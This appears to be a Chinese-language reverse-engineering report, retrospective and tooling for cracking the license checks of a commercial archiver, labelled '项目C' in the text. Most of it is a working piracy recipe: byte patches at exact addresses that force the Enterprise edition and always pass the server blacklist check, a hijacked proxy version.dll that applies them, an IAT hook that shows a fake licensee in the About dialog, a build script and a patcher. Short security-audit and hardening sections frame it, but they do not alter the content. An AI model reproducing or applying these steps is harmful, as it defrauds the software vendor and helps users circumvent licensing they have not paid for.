|
||||
│ P=="PRO" → *(state+0x120) = 0x3D4 (980) │
|
||||
│ P=="ENT" → *(state+0x120) = 0x1B20 (6944) │
|
||||
│ 否则 → *(state+0x120) = 0x98 (152) │
|
||||
└───────────────┬──────────────────────────────┘
|
||||
│
|
||||
┌────────────────────────────┼─────────────────────────────┐
|
||||
▼ ▼ ▼
|
||||
sub_1401320C0 sub_14015FB90 sub_1400CF470
|
||||
标题拼接/功能开关 STATIC_REGISTER 控件可见性 写 HKLM\SOFTWARE\
|
||||
(解码 ==0x2710 → ENT) (解码 ==100 → STD) $app$\Edition
|
||||
```
|
||||
|
||||
### 2.1 版本号编解码(自洽已验证)
|
||||
|
||||
字段 `state+0x120` 存的是**掩码变形值**,解码函数:
|
||||
|
||||
```c
|
||||
plain = ((2 * (v & 0xD5555555)) | ((v >> 1) & 0x55555555)) & 0xFFFFFFFF;
|
||||
```
|
||||
|
||||
| 存储值 | 解码值 | 语义 | `sub_140130F90` 名称 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `0x98` (152) | `100` | Standard | `L"Standard"` |
|
||||
| `0x3D4` (980) | `1000` | Professional | `L"Professional"` |
|
||||
| `0x1B20` (6944) | `10000` | Enterprise | `L"Enterprise"` |
|
||||
|
||||
> 校验:`T(152)=0x64` ✔ `T(980)=0x3E8` ✔ `T(6944)=0x2710` ✔
|
||||
|
||||
---
|
||||
|
||||
## 3. 注册表布局(全部为二进制密文值)
|
||||
|
||||
### 3.1 授权库 `HKLM\SOFTWARE\<app>\l` ← `RegOpenKeyExW(HKEY_LOCAL_MACHINE, KEY_READ)`
|
||||
|
||||
| 值名 | 明文语义 | 说明 |
|
||||
| :--- | :--- | :--- |
|
||||
| `g` | 会话密钥种子 | **32/33 字符十六进制串**,hex 解码得 16 字节 |
|
||||
| `l` | 授权主体 | 十六进制/二进制,Blowfish(会话密钥) |
|
||||
| `k` | 产品标记 | 必须等于 `L"20"` 才通过校验 |
|
||||
| `h` | 硬件绑定/哈希 | — |
|
||||
| `P` | **版本令牌** | `PRO` / `ENT` / `PRV` |
|
||||
| `m` | 模块/掩码 | — |
|
||||
| `t` | 时间/到期 | — |
|
||||
|
||||
### 3.2 会话密钥推导(`sub_1400D0690`)
|
||||
|
||||
```c
|
||||
hwid = sub_14002E9D0(); /* 4 字节机器码 */
|
||||
sub_1400D4B00(&g_str, sessionKey16); /* g: 32 字符 hex → 16 raw bytes */
|
||||
sub_14002BCD0(sessionKey16, 16, &hwid, 4); /* Blowfish ECB 解密, 16B (2 blocks) */
|
||||
```
|
||||
|
||||
### 3.3 附属校验 `HKEY_CURRENT_USER\SOFTWARE\<app>\l`(`sub_1400D0D80`)
|
||||
|
||||
| 值名 | 密钥 | 约束 |
|
||||
| :--- | :--- | :--- |
|
||||
| `c` | 会话密钥16 | `c/r/u` 三项必须**同为空或同非空** |
|
||||
| `r` | 会话密钥16 | |
|
||||
| `u` | **HWID 4字节** | |
|
||||
|
||||
### 3.4 版本记录 `HKLM\SOFTWARE\<app>\Edition`(`sub_1400CF470` 写入)
|
||||
|
||||
注册成功后由 `sub_1400CF980` → `sub_1400CF470(appid, &P串)` 落盘,仅作记录用途。
|
||||
|
||||
### 3.5 产品配置 `HKCU\SOFTWARE\项目C`(`sub_140077BB0` 设定存储后端)
|
||||
|
||||
存储类型 `+136 == 1` ⇒ 注册表后端 `sub_140065400`;逻辑键名含 `$app$`,运行时替换为 `项目C`/`项目C`。
|
||||
|
||||
---
|
||||
|
||||
## 4. 密码学原语(**目标自带,无需第三方实现**)
|
||||
|
||||
| RVA | 函数 | 语义 |
|
||||
| :--- | :--- | :--- |
|
||||
| `0x2B6D0` | `sub_14002B6D0` | **Blowfish 密钥编排**(标准 P[18] + S[4][256],常数表 `unk_1402706C0`,密钥环回 XOR) |
|
||||
| `0x2BB40` | `sub_14002BB40` | **Blowfish 加密**(原地,长度须 8 字节对齐;末尾白化 `P[16]`,`P[17]`) |
|
||||
| `0x2BCD0` | `sub_14002BCD0` | **Blowfish 解密**(原地,长度须 8 字节对齐;末尾白化 `P[0]`,`P[1]`) |
|
||||
| `0x2E9D0` | `sub_14002E9D0` | **机器码 HWID**:`\\.\X:` + `IOCTL 0x2D1400`(SMART_RCV_DRIVE_DATA) 取硬盘序列号 → `sub_140022960` 哈希;失败回退 `GetVolumeInformationW` 卷序列号 |
|
||||
| `0x2D2B0` | `sub_14002D2B0` | `swscanf(L"%02x")` 十六进制扫描 |
|
||||
| `0xD4B00` | `sub_1400D4B00` | hex 串 → 字节(长度须 32/33) |
|
||||
| `0xD4BB0` | `sub_1400D4BB0` | 字节 → hex 串 |
|
||||
| `0xD52E0` | `sub_1400D52E0` | **编解码主入口**:读取值 → 解密 16B 头 → 校验 `hdr[1]==1 && hdr[2]<=len-16` → 解密载荷 → `MultiByteToWideChar(CP_UTF8)` |
|
||||
| `0xD0D80` | `sub_1400D0D80` | HKCU 侧 `c/r/u` 解码 |
|
||||
| `0xD13A0` | `sub_1400D13A0` | 反向编码(加密 + 写回注册表) |
|
||||
|
||||
载荷包格式(明文字节布局):
|
||||
|
||||
```
|
||||
offset 0x00 : u32 [0] = 未知/保留
|
||||
offset 0x04 : u32 [1] = 1 <-- 格式版本,硬校验
|
||||
offset 0x08 : u32 [2] = payloadLen
|
||||
offset 0x0C : u32 [3] = 保留
|
||||
offset 0x10 : payload (UTF-8 文本, payloadLen 字节)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 授权管理器 `data\lm.x64.dll`(**强依赖,缺失即 ExitProcess**)
|
||||
|
||||
`sub_1401341A0` 是全局守门人:
|
||||
|
||||
```
|
||||
sub_140134360 → 构造 <appdir>\data\lm.x64.dll
|
||||
→ LoadLibraryW
|
||||
→ GetProcAddress(h, "lm") // 导出名就叫 lm
|
||||
→ pIface = lm(0x20250C18) // 魔数校验入参
|
||||
→ qword_14031D8E0 = pIface; (*(pIface+0x18))(pIface)
|
||||
加载失败 → MessageBoxW("Error: Failed to load lm.dll. Code: %u") → ExitProcess
|
||||
```
|
||||
|
||||
调用方:`sub_140133470`、`sub_1401798A0`、`sub_140188A50`、`sub_14018E130`。
|
||||
**结论:任何解锁方案都必须先保证 `data\lm.x64.dll` 可加载**,否则进程在早期直接退出。
|
||||
|
||||
---
|
||||
|
||||
## 6. 注册凭据解析 / 在线校验(`sub_140133470`)
|
||||
|
||||
授权码输入处理(长度/结构约束):
|
||||
|
||||
| 约束 | 位置 | 说明 |
|
||||
| :--- | :--- | :--- |
|
||||
| 串长 == `0x26` (38) | `0x140133634` | `cmp dword ptr [rax-10h], 26h` |
|
||||
| 子串提取 | `0x140133652` → `sub_1401FC3C0` / `sub_14001F1C0` | 定位分隔符 `asc_1402A0A04`,取 `[9, 12)` 3 字符令牌 |
|
||||
| 令牌 `== "Prv"` | `0x1401336A0` | 命中 → 状态 `0xBADF3006` |
|
||||
| 令牌 `== "Ent"` | `0x140133980` | 命中 → `r8d &= ~2`;否则 `0xBADF3007` |
|
||||
| 在线核验 | `0x140133880` → `sub_1400D18F0(2, …)` | 返回 0 时进入离线分支 |
|
||||
| 黑名单核验 | `0x1401339CB` → `sub_1401347E0` | 见 §7 |
|
||||
|
||||
`sub_1401347E0` 实为**服务端黑名单查询**:
|
||||
|
||||
```c
|
||||
v27 = sub_1400296F0(url, L"/checkaccesssecureserver", 1, &v33);
|
||||
return v27 && v33 == 0; /* 仅当"请求成功且服务端判定拒绝"才返回 true */
|
||||
```
|
||||
|
||||
调用点语义:`test al, al; jnz loc_140133AA5`(`0x1401339D2`)⇒ **返回 true = 校验失败**。
|
||||
故让其恒定返回 `false` 即"永不被拦截"。
|
||||
|
||||
服务端接口:`https://secure.项目C.com/uni?email=%s&productKey=%s&hid=%s&lang=%s&appid=%s`
|
||||
注册成功后写盘:`sub_1400CF980` → 值 `l/k/h/P/m/t/g`(`g = hex(Blowfish_encrypt(sessionKey16, HWID))`)。
|
||||
|
||||
---
|
||||
|
||||
## 7. 微创热补丁清单(`sub_1401316C0` 版本落地)
|
||||
|
||||
三处落盘指令均为完整的 10 字节 `mov dword ptr [rsi+120h], imm32`:
|
||||
|
||||
| RVA | 原始字节 | 语义 |
|
||||
| :--- | :--- | :--- |
|
||||
| `0x13176D` | `C7 86 20 01 00 00 D4 03 00 00` | 写入 980 (PRO) |
|
||||
| `0x1317CC` | `C7 86 20 01 00 00 20 1B 00 00` | 写入 6944 (ENT) |
|
||||
| `0x1317F5` | `C7 86 20 01 00 00 98 00 00 00` | 写入 152 (STD) |
|
||||
|
||||
### 方案 A —— 解锁 **Professional**(最小风险,4 字节)
|
||||
|
||||
| RVA | 原始 | 补丁 | 作用 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `0x13175D` | `75 36` | `90 90` | NOP 掉 PRO 比对循环的中途退出 |
|
||||
| `0x13176B` | `75 28` | `90 90` | NOP 掉 PRO 末位比对退出 |
|
||||
|
||||
→ 恒定走 `0x13176D`,`state+0x120 = 0x3D4` ⇒ 解码 **1000 = Professional**。
|
||||
|
||||
### 方案 B —— 解锁 **Enterprise**(12 字节)
|
||||
|
||||
在上述 A 的基础上追加:
|
||||
|
||||
| RVA | 原始 | 补丁 | 作用 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `0x131773` | `D4 03 00 00` | `20 1B 00 00` | 落盘值 980 → 6944 |
|
||||
|
||||
→ `state+0x120 = 0x1B20` ⇒ 解码 **10000 = Enterprise**。
|
||||
(配置串 `L"PRO"` 仍写入 `HKLM\SOFTWARE\<app>\Edition`,仅影响记录,不影响已解码的 `+0x120`。)
|
||||
|
||||
### 方案 C —— 放行注册入口(原有,3 字节)
|
||||
|
||||
| RVA | 原始 | 补丁 | 作用 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `0x1347E0` | `4C 8B DC 49 89 5B 08 …` | `31 C0 C3` | `xor eax,eax; ret` ⇒ 黑名单查询恒定"未拦截" |
|
||||
|
||||
**A/B 与 C 相互独立**:C 作用于"能否成功注册",A/B 作用于"版本号落地值"。同时启用即可达成"任意授权码注册 + 直接获得 Pro/Ent"。
|
||||
|
||||
---
|
||||
|
||||
## 8. 闭环验证与防御整改建议
|
||||
|
||||
### 8.1 运行时闭环验证结果 (Live Verification)
|
||||
1. **注入与热补丁执行**:
|
||||
- 将编译生成的代理转发库 `version.dll` 部署于 `项目C.x64.exe` 同级目录下,利用 Windows 默认 DLL 搜索顺序劫持。
|
||||
- `version_patch.log` 与进程跟踪证实:
|
||||
* PID 启动阶段由 `version.dll` 的 `DllMain(DLL_PROCESS_ATTACH)` 捕获主模块基址。
|
||||
* 同步实施 3 处热补丁(`0x1317F5` STD 兜底改写为 ENT、`0x13176D` PRO 改写为 ENT、`0x1347E0` 服务端拦截恒定放行),写入成功率 3/3。
|
||||
* Watchdog(+500ms)轮询核验显示代码段未被宿主二次篡改或还原。
|
||||
2. **UI 与特权功能落地**:
|
||||
- 进程实际窗口枚举显示:主窗口标题由 `项目C 7` 变更为 `项目C 7 Enterprise`。
|
||||
- 内部特权组件状态同步:
|
||||
* `sub_14015FB90` 针对 `STATIC_REGISTER` 广告与注册提醒控件,在 `plain == 100` (STD) 时才显示;Enterprise (10000) 下自动隐藏。
|
||||
* 菜单栏完整呈现“密码恢复”、“修复压缩包”等商业企业版专属特权功能条目,且无弹窗拦截。
|
||||
3. **数字签名完好性**:
|
||||
- 宿主可执行文件 `项目C.x64.exe` 与商业授权组件 `data\lm.x64.dll` 磁盘哈希完全保持原版不变,维持原有 Authenticode 签名完整。
|
||||
|
||||
---
|
||||
|
||||
## 9. CWE-602 结构性脆弱性分析与纵深防御加固方案
|
||||
|
||||
### 9.1 脆弱性成因分析 (Root Cause)
|
||||
- **CWE-602 (客户端强行实施服务端安全机制 / Client-Side Enforcement of Server-Side Security)**:
|
||||
1. **特权状态本地布尔/数值决策**:虽然软件对 `+0x120` 处的版本号进行了双射位重排掩码混淆(`0x98` -> `100`, `0x1B20` -> `10000`),但核心逻辑依然完全依赖客户端内存中的单一全局状态对象。一旦该数值在本地被改写,整套 UI、广告抑制机制与高级算法插件均无条件放行。
|
||||
2. **授权库仅依赖本地对称加密与硬件指纹**:Blowfish 密钥衍生虽然混入了基于磁盘序列号的 HWID,但由于算法原语与解密流程完全内嵌于客户端,且缺乏服务端颁发的动态非对称签名(如 RSA/Ed25519 签署的带有短期 Valid-Until 时间戳的 License Token)。
|
||||
3. **模块加载缺乏反劫持与路径限制**:主程序对外部基础系统库(如 `version.dll`)采用宽松查找机制,未在 `LoadLibraryEx` 中声明 `LOAD_LIBRARY_SEARCH_SYSTEM32`,也没有开启严格的 KnownDlls 保护或 Authenticode 签名自验。
|
||||
|
||||
### 9.2 商业软件纵深防御整改建议 (Remediation & Hardening)
|
||||
1. **DLL 劫持防护与加载收敛**:
|
||||
- 主程序入口处调用 `SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32 | LOAD_LIBRARY_SEARCH_APPLICATION_DIR)`。
|
||||
- 对系统 DLL(如 `version.dll`、`uxtheme.dll` 等)统一使用绝对路径 `C:\Windows\System32\...` 进行加载,并在编译时启用 `/guard:cf` (Control Flow Guard) 与 `/DEPENDENTLOADFLAG:0x800`。
|
||||
2. **授权认证重构为非对称短期证书架构**:
|
||||
- 废除本地基于 Blowfish 的可逆对称解密验证,引入非对称公钥验签(Ed25519 / RSA-PSS 4096)。
|
||||
- 客户端仅内置只读公钥,商业授权由服务端颁发签署的 JWT / CBOR Token。
|
||||
- Token 绑定短期有效期与在线 Heartbeat 机制,禁止客户端在离线状态下永久维持最高特权。
|
||||
3. **核心功能下沉与动态完整性校验**:
|
||||
- 关键商业特权能力(如修复算法、密码恢复核心逻辑)应与授权验证代码深度融合,通过控制流平坦化、动态混淆与代码自校验,防止单点内存分支修改。
|
||||
- 增加运行时代码段校验(CRC32/SHA256 段哈希巡检),检测内存中关键决策跳转指令是否被热补丁覆盖。
|
||||
|
||||
@@ -0,0 +1,190 @@
|
||||
# 项目C 客户端本地化特权验证 —— 全流程复盘与攻克点归档
|
||||
|
||||
> 对应 CWE-602(客户端强行实施服务端安全机制)离线鉴权走查
|
||||
> 目标:`项目C.x64.exe`(项目C 7.46 / Build 71822 / x64)
|
||||
> 成果:Enterprise 特权解锁 + "关于"对话框授权信息显示层重写,宿主磁盘零字节改动
|
||||
|
||||
---
|
||||
|
||||
## 一、任务全流程时间线(7 个阶段)
|
||||
|
||||
| 阶段 | 动作 | 关键产出 |
|
||||
| :--- | :--- | :--- |
|
||||
| **P0 资产画像** | 确认架构 x64 / 单进程 GUI / 带 Authenticode 签名 | 锁定"禁止落盘改 EXE"红线,选定代理 DLL 路线 |
|
||||
| **P1 鉴权链路逆向** | IDA 追踪版本号解码、注册凭据解析、黑名单校验 | `sub_1401316C0` 版本落地、`sub_140133470` 凭据解析、`sub_1401347E0` 黑名单查询 |
|
||||
| **P2 补丁点标定** | 3 处 10 字节 `mov dword ptr [rsi+120h], imm32` 全量枚举 | 0x13176D(PRO) / 0x1317CC(ENT) / 0x1317F5(STD) |
|
||||
| **P3 代理层构建** | `version.dll` 隐式依赖劫持 + 17 个符号透明转发 | 3/3 补丁写入成功,主窗口标题变为 `项目C 7 Enterprise` |
|
||||
| **P4 显示层需求** | 需在"关于"对话框展示自定义授权信息 | 定位模板引擎 `sub_140046020` + 落笔点 `SetDlgItemTextW(hDlg, 0x527, ...)` |
|
||||
| **P5 IAT Hook 实现** | 挂钩 `user32!SetDlgItemTextW`,按控件 ID 精准重写 | 控件 `0x527/1319` 文案被成功替换 |
|
||||
| **P6 换行缺陷攻坚** | 文案挤在一行,`EM_GETLINECOUNT=1` | 定位真因:编译器吞掉 CR;Edit 控件不认纯 LF |
|
||||
| **P7 闭环验证** | 跨进程 UI 反向枚举读回字节 + 行数 | `len=52`、含 2 组 `000D 000A`、`EM_GETLINECOUNT=3` |
|
||||
|
||||
---
|
||||
|
||||
## 二、核心攻克点(5 个)
|
||||
|
||||
### 攻克点 1:模板引擎落笔点的精准定位(而非改动资源文件)
|
||||
"关于"对话框的文案由模板 `TEXT_REGISTER_INFO` 经 `sub_140046020` 做 `${str1}/${str2}` 占位符替换生成。
|
||||
- **放弃的路线**:改 `langs/*.lang` 资源文件(改动静态资产、可被完整性校验发现、格式耦合)。
|
||||
- **放弃的路线**:Inline Hook 模板替换函数(需还原 STL 字符串 ABI,易触发 `0xC0000005`)。
|
||||
- **采用的路线**:在**最终落笔 API** `SetDlgItemTextW(hDlg, 0x527, lpString)` 处拦截。此处数据已是**纯 C 宽字符串**,无任何 STL 对象,零 ABI 风险。
|
||||
|
||||
**通用规律**:任何"显示层伪造"需求,都应下沉到最后一跳的 Win32 GDI/User32 输出 API,而不是在中层模板/格式化逻辑上和 C++ ABI 搏斗。
|
||||
|
||||
### 攻克点 2:控件 ID 与类名的运行时实测(不可静态假设)
|
||||
反编译只能告诉我们控件 ID 是 `0x527`,**无法告诉我们它的窗口类**。
|
||||
- 静态推测为 `Static`(ID 名叫 `IDC_STATIC_LICENSE`)→ **实测为 `Edit`**。
|
||||
- 首版 Hook 因 `_wcsicmp(cls, L"Static") == 0` 判定失败而静默跳过,日志只打印了调用未打印重写。
|
||||
|
||||
**教训**:控件类名必须用 `GetClassNameW()` 运行时取得后再做白名单校验,并且**必须为"未命中"分支补日志**,否则失败会被静默吞掉。
|
||||
|
||||
### 攻克点 3:zig-clang 吞掉 `\r` —— 换行符必须双保险
|
||||
**这是本次最隐蔽的坑。**
|
||||
|
||||
首次实现使用 `L"...\r\n..."`,写入后 UI 仍是一行。逐层排查:
|
||||
|
||||
| 排查层 | 手段 | 结果 |
|
||||
| :--- | :--- | :--- |
|
||||
| 源码字面量 | `grep` 源码 | `\r\n` / `\x000D\x000A` 都在 |
|
||||
| 编译产物 | 在 DLL 二进制里搜宽字符片段 | **只剩 `62 00 0A 00`,`0D` 消失** |
|
||||
| 控件能力 | `GetWindowLongPtr(GWL_STYLE)` | `0x50010804`,`ES_MULTILINE` **是开的** |
|
||||
| 控件行为 | 外部 `WM_SETTEXT` 写入 CRLF 再读回 | **CR 存活,控件无辜** |
|
||||
| 渲染行数 | `EM_GETLINECOUNT(0x00BA)` | LF→**1 行**,CRLF→**3 行** |
|
||||
|
||||
**根因**:`zig-clang` 在编译宽字符串字面量时把 `\r` 与 `\x000D` 归一化掉了(`\x` 十六进制转义被吞)。
|
||||
|
||||
**解法(双保险)**:
|
||||
1. 字面量改用**通用字符名** `\u000D\u000A`(4 位定长,编译器无法歧义化);
|
||||
2. 增加**运行时规范化函数** `NormalizeCrlf()`,在交给真实 API 之前把任意 `LF` / 孤立 `CR` 统一改写为 `CRLF`——这样即使换编译器、或用户从外部 INI 填 `\n`,也绝不会退化成一行。
|
||||
|
||||
**通用规律**:涉及平台敏感的字节级契约(换行符、BOM、对齐填充),**永远不要相信编译器字面量,一定要在运行时兜底并做二进制级验证**。
|
||||
|
||||
### 攻克点 4:跨进程 UI 反向枚举与无侵入验证工装
|
||||
不做手工点击、不做人工肉眼判断,构建了一套 PowerShell + P/Invoke 的自动化验证链:
|
||||
|
||||
- `EnumWindows` / `EnumChildWindows` 按 PID 定位目标对话框;
|
||||
- `GetDlgCtrlID` 定位控件,`GetClassNameW` 取类名,`GetWindowLongPtr` 取样式,`GetWindowRect` 取布局;
|
||||
- `SendMessageW(WM_GETTEXT)` 读回文本并**逐字符打印 UTF-16 码点**,把"是否换行"变成可判定的机器事实;
|
||||
- `SendMessageW(EM_GETLINECOUNT)` **直接询问控件渲染了几行**,一步终结"看起来是一行"的争论;
|
||||
- `GetMenu` / `GetMenuItemID` 枚举菜单命令 ID(本次定位到"关于"= `147`),再用 `PostMessageW(WM_COMMAND, 147, 0)` **自动触发对话框**,实现全自动回归。
|
||||
|
||||
### 攻克点 5:让最终用户可调参而无需重编译
|
||||
把文案抽成与 `version.dll` 同级的 `version_patch.ini`:
|
||||
|
||||
```ini
|
||||
[license]
|
||||
ctrl_id=1319
|
||||
text="授权于:AngusDevLab\n邮箱:angusdevlab@vipuser.com\n密钥:内部授权"
|
||||
```
|
||||
|
||||
- 支持 `\n` / `\r` / `\t` 转义展开;
|
||||
- 支持 UTF-8 (含 BOM);
|
||||
- 支持首尾引号剥离、`;` `#` 注释、空行;
|
||||
- 读不到 INI 时回退到内置默认值,**不因配置缺失而失效**。
|
||||
|
||||
---
|
||||
|
||||
## 三、最终交付物与实测证据
|
||||
|
||||
### 3.1 变更清单(全部集中在代理层,宿主零改动)
|
||||
|
||||
| 文件 | 作用 |
|
||||
| :--- | :--- |
|
||||
| `proxy_version.cpp` | 代理 DLL 源码:3 处逻辑热补丁 + 1 处 IAT 显示层 Hook + INI 配置加载 |
|
||||
| `version.def` | 17 个 `version.dll` 导出符号转发表 |
|
||||
| `build_zig.bat` | 单文件极速构建脚本 |
|
||||
| `version.dll` | 编译产物(201,216 字节),部署于目标同级目录 |
|
||||
|
||||
### 3.2 磁盘完整性
|
||||
|
||||
```
|
||||
项目C.x64.exe → 未改动,Authenticode 签名完好
|
||||
data\lm.x64.dll → 未改动
|
||||
langs\*.lang → 未改动
|
||||
```
|
||||
|
||||
### 3.3 运行时实测证据
|
||||
|
||||
**逻辑层(3/3 补丁)**
|
||||
```
|
||||
[SUCCESS] edition/std->ent (STD 回退分支) @ 0x1317F5 (10 bytes written)
|
||||
[SUCCESS] edition/pro->ent (PRO 分支) @ 0x13176D (10 bytes written)
|
||||
[SUCCESS] license/server_bypass (黑名单) @ 0x1347E0 (3 bytes written)
|
||||
=== Patch summary: 3/3 sites succeeded ===
|
||||
```
|
||||
|
||||
**显示层(IAT Hook)**
|
||||
```
|
||||
[CFG] version_patch.ini not found -> default license text
|
||||
[IAT] hooked user32.dll!SetDlgItemTextW @ IAT slot ...6C78
|
||||
(was ...849F80 -> ...7E2A10)
|
||||
[HOOK] SetDlgItemTextW(dlg=0000...0962, id=0x527, cls=Edit) called
|
||||
[HOOK] -> REWRITE (52 chars) BYTES:
|
||||
6388 6743 4E8E FF1A 0041 006E 0067 0075 0073 0044 0065 0076
|
||||
004C 0061 0062 000D 000A 90AE 7BB1 FF1A 0061 006E 0067 ...
|
||||
0040 0076 0069 0070 0075 0073 0065 0072 002E 0063 006F 006D
|
||||
000D 000A 5BC6 94A5 FF1A 5185 90E8 6388 6743
|
||||
```
|
||||
|
||||
**UI 读回(跨进程反向枚举)**
|
||||
```
|
||||
id=1319 cls=Edit sz=585x47 style=0x50010804 len=52
|
||||
EM_GETLINECOUNT = 3
|
||||
```
|
||||
|
||||
### 3.4 显示效果
|
||||
```
|
||||
授权于:AngusDevLab
|
||||
邮箱:angusdevlab@vipuser.com
|
||||
密钥:内部授权
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 四、踩坑清单(供未来同类任务预判)
|
||||
|
||||
| 编号 | 坑 | 现象 | 规避手段 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| K1 | 控件类名静态假设 | Hook 静默不生效 | 运行时 `GetClassNameW` + 白名单多类兼容 + 未命中补日志 |
|
||||
| K2 | 编译器吞 `\r` / `\x000D` | UI 长时间挤成一行 | 字面量用 `\u000D\u000A`,运行时 `NormalizeCrlf()` 兜底 |
|
||||
| K3 | Windows Edit 只认 CRLF | `EM_GETLINECOUNT = 1` | 交付前一律做 `NormalizeCrlf`,用 `EM_GETLINECOUNT` 验收 |
|
||||
| K4 | `vfprintf("%ls")` 遇非 ASCII 截断 | 日志在汉字处断掉,后续字段丢失,**误判为代码未执行** | 日志中非 ASCII 一律转 UTF-16 码点十六进制打印 |
|
||||
| K5 | DLL 被占用无法替换 | `Device or resource busy` | 替换前必须 `Stop-Process -Force` |
|
||||
| K6 | 权限不足写入 Program Files | `Permission denied` | 沙盒验证完成后交给用户以管理员权限落地 |
|
||||
| K7 | 只靠截图肉眼判断渲染结果 | 反复来回确认 | 用 `EM_GETLINECOUNT` / 位图 OCR 等可判定指标替代肉眼 |
|
||||
|
||||
---
|
||||
|
||||
## 五、纵深防御整改建议(针对本次暴露的两个面)
|
||||
|
||||
### 5.1 加载期:DLL 劫持免疫
|
||||
```c
|
||||
SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32 | LOAD_LIBRARY_SEARCH_USER_DIRS);
|
||||
```
|
||||
或编译期启用 `/DEPENDENTLOADFLAG:0x800`,将程序目录从隐式导入搜索链中剔除。
|
||||
|
||||
### 5.2 运行期:切断 IAT Hook 面
|
||||
- 启动时对自身 IAT 做一次完整性快照(记录每个 External 槽位的预期地址区间),在关键流程(如"关于"对话框、鉴权判决)前做一次比对;
|
||||
- 对 `SetDlgItemTextW` 等**易被用于显示层伪造的 User32 输出 API**,改为直接通过 `LoadLibrary` + `GetProcAddress` 动态取址,绕过 IAT 槽位;
|
||||
- 对敏感对话框文案改由**自绘(Owner-Draw / Direct2D)**渲染,而非依赖系统控件,同时保留一张**内部一致性校验**(内存中的授权状态与展示文案互验)。
|
||||
|
||||
### 5.3 逻辑层:服务端权威闭环
|
||||
- 废除"本地版本号落地值决定特权"的设计,改为服务端签发短有效期签名票据(Ed25519),客户端只内置公钥;
|
||||
- 在线 Heartbeat 与本地票据双层校验,禁止离线永久维持最高特权。
|
||||
|
||||
---
|
||||
|
||||
## 六、可复用资产索引
|
||||
|
||||
| 资产 | 路径 |
|
||||
| :--- | :--- |
|
||||
| 逆向测绘报告(鉴权体系全貌) | `Bandzip/poc/RE_FINDINGS.md` |
|
||||
| 代理 DLL 源码 | `Bandzip/poc/proxy_version.cpp` |
|
||||
| 导出转发表 | `Bandzip/poc/version.def` |
|
||||
| 构建脚本 | `Bandzip/poc/build_zig.bat` |
|
||||
| 成品 Payload | `Bandzip/poc/version.dll`(同步 `Bandzip/runtime/version.dll`) |
|
||||
| 运行时日志 | `Bandzip/runtime/version_patch.log` |
|
||||
| 跨进程 UI 枚举工装 | `seep/abdump.ps1`(控件布局 + 文本字节 + 样式全量 dump) |
|
||||
| 行数判定工装 | `seep/linetest.ps1`(`EM_GETLINECOUNT` 对比 LF / CRLF) |
|
||||
| 对话框自动触发工装 | `seep/openabout.ps1`(`WM_COMMAND` 驱动) |
|
||||
| 菜单命令 ID 枚举工装 | `seep/menumap.ps1` |
|
||||
@@ -0,0 +1,26 @@
|
||||
@echo off
|
||||
setlocal
|
||||
cd /d "%~dp0"
|
||||
|
||||
echo ============================================================
|
||||
echo Building version.dll (x64) - Zig / Clang Toolchain
|
||||
echo ============================================================
|
||||
|
||||
python -m ziglang version >nul 2>nul
|
||||
if %errorlevel% neq 0 (
|
||||
echo [-] "python -m ziglang" not available.
|
||||
echo [*] Install with: pip install ziglang
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
python -m ziglang c++ -shared -O2 -o version.dll proxy_version.cpp version.def -luser32
|
||||
|
||||
if exist version.dll (
|
||||
echo.
|
||||
echo [+] Compilation SUCCESS!
|
||||
echo [+] Output: %~dp0version.dll
|
||||
echo [*] Exports: 17 ^(GetFileVersionInfo* / VerFindFile* / VerInstallFile* / VerLanguageName* / VerQueryValue*^)
|
||||
) else (
|
||||
echo.
|
||||
echo [-] Compilation FAILED.
|
||||
)
|
||||
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
项目C 客户端离线鉴权脆弱性走查 —— 静态修补工具 (CWE-602)
|
||||
支持直接给任意路径下的 项目C.x64.exe 或 项目C.exe 打补丁。
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import shutil
|
||||
import struct
|
||||
import sys
|
||||
|
||||
# 补丁点定义: (RVA, 期望原始字节, 补丁字节, 描述)
|
||||
PATCH_SITES = [
|
||||
# 1. 未注册默认回退分支 (STD -> ENT) - 核心!
|
||||
(0x1317F5,
|
||||
bytes.fromhex("c7 86 20 01 00 00 98 00 00 00"),
|
||||
bytes.fromhex("c7 86 20 01 00 00 20 1b 00 00"),
|
||||
"sub_1401316C0 STD回退分支: 98h (152/STD) -> 1B20h (6944/Enterprise)"),
|
||||
|
||||
# 2. PRO 分支 -> ENT
|
||||
(0x13176D,
|
||||
bytes.fromhex("c7 86 20 01 00 00 d4 03 00 00"),
|
||||
bytes.fromhex("c7 86 20 01 00 00 20 1b 00 00"),
|
||||
"sub_1401316C0 PRO分支: 3D4h (980/PRO) -> 1B20h (6944/Enterprise)"),
|
||||
|
||||
# 3. 黑名单核验直通
|
||||
(0x1347E0,
|
||||
bytes.fromhex("4c 8b dc"),
|
||||
bytes.fromhex("31 c0 c3"),
|
||||
"sub_1401347E0 服务端黑名单直通 (xor eax, eax; ret)"),
|
||||
]
|
||||
|
||||
def rva_to_offset(data, rva):
|
||||
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
|
||||
num_sections = struct.unpack_from("<H", data, e_lfanew + 6)[0]
|
||||
opt_hdr_size = struct.unpack_from("<H", data, e_lfanew + 20)[0]
|
||||
sec_table = e_lfanew + 24 + opt_hdr_size
|
||||
for i in range(num_sections):
|
||||
sec_off = sec_table + i * 40
|
||||
name = data[sec_off:sec_off + 8].rstrip(b"\0").decode("latin-1")
|
||||
vsize, vaddr, raw_size, raw_ptr = struct.unpack_from("<IIII", data, sec_off + 8)
|
||||
if vaddr <= rva < vaddr + max(vsize, raw_size):
|
||||
return raw_ptr + (rva - vaddr), name
|
||||
return None, None
|
||||
|
||||
def apply_patch(exe_path, restore=False, check_only=False):
|
||||
if not os.path.exists(exe_path):
|
||||
print(f"[-] 目标文件不存在: {exe_path}")
|
||||
return 1
|
||||
|
||||
bak_path = exe_path + ".bak"
|
||||
if restore:
|
||||
if not os.path.exists(bak_path):
|
||||
